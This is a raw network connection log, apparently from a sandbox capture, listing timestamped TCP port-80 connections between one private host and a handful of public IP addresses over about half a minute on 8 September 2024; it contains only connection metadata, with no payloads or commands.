Sep 8, 2024 08:42:45.679271936 CEST	64997	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:45.679332972 CEST	64997	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:45.684129953 CEST	80	64997	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:46.164439917 CEST	80	64997	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:46.164511919 CEST	80	64997	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:46.164583921 CEST	64997	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:46.164658070 CEST	64997	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:46.164931059 CEST	64995	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:46.165203094 CEST	64998	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:46.169998884 CEST	80	64998	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:46.170064926 CEST	80	64995	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:46.170093060 CEST	64998	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:46.170206070 CEST	64995	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:46.170352936 CEST	64998	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:46.175159931 CEST	80	64998	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:47.647735119 CEST	80	64998	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:47.647757053 CEST	80	64998	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:47.647819042 CEST	64998	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:47.647934914 CEST	80	64998	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:47.647970915 CEST	64998	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:47.648032904 CEST	80	64998	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:47.648073912 CEST	64998	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:47.884711981 CEST	64999	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:47.889661074 CEST	80	64999	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:47.889766932 CEST	64999	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:47.890060902 CEST	64999	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:47.895781994 CEST	80	64999	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:47.895899057 CEST	64999	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:47.898341894 CEST	65000	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:47.903146029 CEST	80	65000	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:47.903215885 CEST	65000	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:47.903433084 CEST	65000	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:47.908170938 CEST	80	65000	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:48.395514965 CEST	80	65000	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:48.395531893 CEST	80	65000	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:48.395646095 CEST	65000	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:48.395761967 CEST	65000	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:48.396030903 CEST	64998	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:48.396394968 CEST	65001	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:48.401078939 CEST	80	64998	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:48.401165009 CEST	80	65001	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:48.401170969 CEST	64998	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:48.401248932 CEST	65001	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:48.401412010 CEST	65001	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:48.406161070 CEST	80	65001	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:48.883708954 CEST	80	65001	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:48.883800983 CEST	65001	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:50.680680037 CEST	65002	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:50.685769081 CEST	80	65002	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:50.685832977 CEST	65002	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:50.685967922 CEST	65002	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:50.691483974 CEST	80	65002	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:50.691540003 CEST	65002	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:50.691869974 CEST	65003	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:50.696692944 CEST	80	65003	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:50.696748972 CEST	65003	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:50.696814060 CEST	65003	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:50.701625109 CEST	80	65003	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:51.198189020 CEST	80	65003	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:51.198215961 CEST	80	65003	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:51.198304892 CEST	65003	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:51.198461056 CEST	65003	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:51.200269938 CEST	65001	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:51.200647116 CEST	65004	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:51.205468893 CEST	80	65001	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:51.205485106 CEST	80	65004	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:51.205554008 CEST	65001	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:51.205595970 CEST	65004	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:51.205843925 CEST	65004	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:51.210635900 CEST	80	65004	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:51.716702938 CEST	80	65004	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:51.716752052 CEST	65004	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:51.997184992 CEST	65005	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:52.002305031 CEST	80	65005	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:52.002397060 CEST	65005	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:52.011444092 CEST	65005	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:52.015381098 CEST	65006	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:52.016412020 CEST	80	65005	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:52.016503096 CEST	65005	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:52.020308971 CEST	80	65006	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:52.020385027 CEST	65006	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:52.020524979 CEST	65006	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:52.025389910 CEST	80	65006	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:52.505484104 CEST	80	65006	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:52.505533934 CEST	80	65006	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:52.505639076 CEST	65006	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:52.505685091 CEST	65006	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:52.505954981 CEST	65004	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:52.506311893 CEST	65007	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:52.511188984 CEST	80	65004	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:52.511204004 CEST	80	65007	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:52.511276007 CEST	65004	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:52.511311054 CEST	65007	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:52.512989044 CEST	65007	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:52.517888069 CEST	80	65007	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:52.994776964 CEST	80	65007	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:52.994899988 CEST	65007	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:54.393923044 CEST	65008	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:54.399272919 CEST	80	65008	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:54.399440050 CEST	65008	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:54.402071953 CEST	65008	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:54.406052113 CEST	65009	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:54.407324076 CEST	80	65008	88.198.29.97	192.168.2.5
Sep 8, 2024 08:42:54.407435894 CEST	65008	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:42:54.411036968 CEST	80	65009	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:54.411115885 CEST	65009	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:54.411233902 CEST	65009	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:54.416162968 CEST	80	65009	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:54.900983095 CEST	80	65009	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:54.901004076 CEST	80	65009	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:54.901210070 CEST	65009	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:54.901506901 CEST	65009	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:54.904541016 CEST	65007	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:54.905620098 CEST	65010	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:54.909662962 CEST	80	65007	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:54.909770966 CEST	65007	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:54.910471916 CEST	80	65010	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:54.910602093 CEST	65010	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:54.910737991 CEST	65010	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:54.915532112 CEST	80	65010	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:55.390347958 CEST	80	65010	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:55.390496969 CEST	65010	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:55.527421951 CEST	65011	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:55.532469034 CEST	80	65011	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:55.532565117 CEST	65011	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:55.532680035 CEST	65011	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:55.536286116 CEST	65012	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:55.537782907 CEST	80	65011	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:55.537844896 CEST	65011	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:55.541109085 CEST	80	65012	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:55.541172981 CEST	65012	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:55.541224003 CEST	65012	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:55.545978069 CEST	80	65012	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:56.036631107 CEST	80	65012	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:56.037410021 CEST	80	65012	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:56.037424088 CEST	65012	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:56.037468910 CEST	65012	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:56.042330027 CEST	65010	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:56.042592049 CEST	65013	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:56.055962086 CEST	80	65013	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:56.056499958 CEST	80	65010	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:56.056628942 CEST	65010	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:56.056642056 CEST	65013	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:56.059376001 CEST	65013	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:56.064250946 CEST	80	65013	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:56.548660994 CEST	80	65013	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:56.549370050 CEST	65013	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:56.867738962 CEST	65014	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:56.872627020 CEST	80	65014	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:56.872689009 CEST	65014	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:56.886531115 CEST	65014	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:56.891611099 CEST	80	65014	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:56.891679049 CEST	65014	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:56.895339966 CEST	65015	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:56.900197029 CEST	80	65015	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:56.900302887 CEST	65015	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:56.902050018 CEST	65015	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:56.906797886 CEST	80	65015	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:57.381864071 CEST	80	65015	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:57.381920099 CEST	80	65015	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:57.381975889 CEST	65015	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:57.382009029 CEST	65015	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:57.382236004 CEST	65013	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:57.382518053 CEST	65016	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:57.389942884 CEST	80	65013	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:57.390027046 CEST	80	65016	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:57.390053034 CEST	65013	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:57.390113115 CEST	65016	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:57.390288115 CEST	65016	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:57.395163059 CEST	80	65016	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:57.891868114 CEST	80	65016	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:57.891969919 CEST	65016	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:58.041989088 CEST	65017	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:58.046821117 CEST	80	65017	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:58.046890020 CEST	65017	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:58.058350086 CEST	65017	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:58.062338114 CEST	65018	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:58.063323021 CEST	80	65017	64.70.19.203	192.168.2.5
Sep 8, 2024 08:42:58.063404083 CEST	65017	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:42:58.067257881 CEST	80	65018	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:58.067337036 CEST	65018	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:58.067434072 CEST	65018	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:58.072175980 CEST	80	65018	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:58.554156065 CEST	80	65018	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:58.554197073 CEST	80	65018	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:58.554312944 CEST	65018	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:58.554538965 CEST	65018	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:58.556967974 CEST	65016	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:58.557346106 CEST	65019	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:58.562071085 CEST	80	65016	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:58.562113047 CEST	80	65019	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:58.562167883 CEST	65016	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:58.562220097 CEST	65019	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:58.562414885 CEST	65019	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:58.567169905 CEST	80	65019	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:59.053459883 CEST	80	65019	172.234.222.138	192.168.2.5
Sep 8, 2024 08:42:59.053610086 CEST	65019	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:42:59.509344101 CEST	65020	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:59.514148951 CEST	80	65020	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:59.514240026 CEST	65020	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:59.527084112 CEST	65020	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:59.531088114 CEST	65021	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:59.531975031 CEST	80	65020	45.79.222.138	192.168.2.5
Sep 8, 2024 08:42:59.532049894 CEST	65020	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:42:59.535900116 CEST	80	65021	172.234.222.143	192.168.2.5
Sep 8, 2024 08:42:59.535981894 CEST	65021	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:59.542756081 CEST	65021	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:42:59.547590017 CEST	80	65021	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:00.026463985 CEST	80	65021	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:00.026575089 CEST	65021	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:00.026921988 CEST	80	65021	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:00.026967049 CEST	65021	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:00.033639908 CEST	65019	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:00.033979893 CEST	65022	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:00.038816929 CEST	80	65019	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:00.038830996 CEST	80	65022	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:00.038881063 CEST	65019	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:00.038933992 CEST	65022	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:00.039748907 CEST	65022	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:00.044526100 CEST	80	65022	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:00.521637917 CEST	80	65022	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:00.521702051 CEST	65022	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:01.594630957 CEST	65023	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:01.599518061 CEST	80	65023	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:01.599612951 CEST	65023	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:01.599759102 CEST	65023	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:01.603710890 CEST	65024	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:01.605573893 CEST	80	65023	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:01.605657101 CEST	65023	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:01.608716011 CEST	80	65024	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:01.608822107 CEST	65024	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:01.620853901 CEST	65024	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:01.625732899 CEST	80	65024	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:02.091212034 CEST	80	65024	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:02.091260910 CEST	80	65024	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:02.091331005 CEST	65024	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:02.091435909 CEST	65024	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:02.100424051 CEST	65022	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:02.100713968 CEST	65025	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:02.105525017 CEST	80	65025	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:02.105597973 CEST	80	65022	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:02.105603933 CEST	65025	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:02.105679035 CEST	65022	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:02.110667944 CEST	65025	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:02.115484953 CEST	80	65025	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:02.590090990 CEST	80	65025	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:02.590291977 CEST	65025	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:04.099313021 CEST	65026	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:04.104234934 CEST	80	65026	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:04.104310036 CEST	65026	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:04.105179071 CEST	65026	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:04.109261990 CEST	65027	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:04.110039949 CEST	80	65026	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:04.110136986 CEST	65026	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:04.114156961 CEST	80	65027	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:04.114240885 CEST	65027	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:04.120820045 CEST	65027	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:04.125722885 CEST	80	65027	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:04.594364882 CEST	80	65027	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:04.594418049 CEST	80	65027	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:04.594541073 CEST	65027	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:04.594640970 CEST	65027	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:04.594980001 CEST	65025	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:04.595340014 CEST	65028	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:04.600868940 CEST	80	65025	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:04.600883961 CEST	80	65028	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:04.600958109 CEST	65025	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:04.601007938 CEST	65028	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:04.601110935 CEST	65028	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:04.606498003 CEST	80	65028	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:05.111819029 CEST	80	65028	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:05.111922979 CEST	65028	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:05.253199100 CEST	65029	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:05.258091927 CEST	80	65029	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:05.258192062 CEST	65029	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:05.261570930 CEST	65029	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:05.266654015 CEST	80	65029	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:05.266730070 CEST	65029	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:05.289649963 CEST	65030	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:05.294661045 CEST	80	65030	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:05.294748068 CEST	65030	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:05.294828892 CEST	65030	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:05.300107956 CEST	80	65030	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:05.778975010 CEST	80	65030	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:05.779042006 CEST	80	65030	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:05.779150963 CEST	65030	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:05.779247999 CEST	65030	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:05.781331062 CEST	65028	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:05.781609058 CEST	65031	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:05.787292004 CEST	80	65031	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:05.787451982 CEST	80	65028	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:05.787606001 CEST	65028	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:05.787606001 CEST	65031	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:05.787678003 CEST	65031	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:05.792901039 CEST	80	65031	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:06.272521019 CEST	80	65031	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:06.274250031 CEST	65031	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:07.162565947 CEST	65032	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:07.167478085 CEST	80	65032	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:07.167551041 CEST	65032	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:07.167656898 CEST	65032	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:07.171456099 CEST	65033	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:07.172702074 CEST	80	65032	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:07.172785044 CEST	65032	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:07.176387072 CEST	80	65033	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:07.176472902 CEST	65033	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:07.183339119 CEST	65033	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:07.188246965 CEST	80	65033	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:07.668133020 CEST	80	65033	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:07.668159962 CEST	80	65033	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:07.668291092 CEST	65033	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:07.668291092 CEST	65033	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:07.678320885 CEST	65031	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:07.678675890 CEST	65034	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:07.683559895 CEST	80	65031	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:07.683585882 CEST	80	65034	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:07.683625937 CEST	65031	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:07.683687925 CEST	65034	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:07.683825016 CEST	65034	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:07.688570976 CEST	80	65034	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:08.167232037 CEST	80	65034	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:08.167372942 CEST	65034	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:09.224271059 CEST	65035	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:09.229211092 CEST	80	65035	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:09.229290962 CEST	65035	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:09.229379892 CEST	65035	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:09.234695911 CEST	80	65035	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:09.234781027 CEST	65035	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:09.243359089 CEST	65036	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:09.248290062 CEST	80	65036	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:09.248373985 CEST	65036	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:09.248430014 CEST	65036	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:09.253490925 CEST	80	65036	172.234.222.143	192.168.2.5
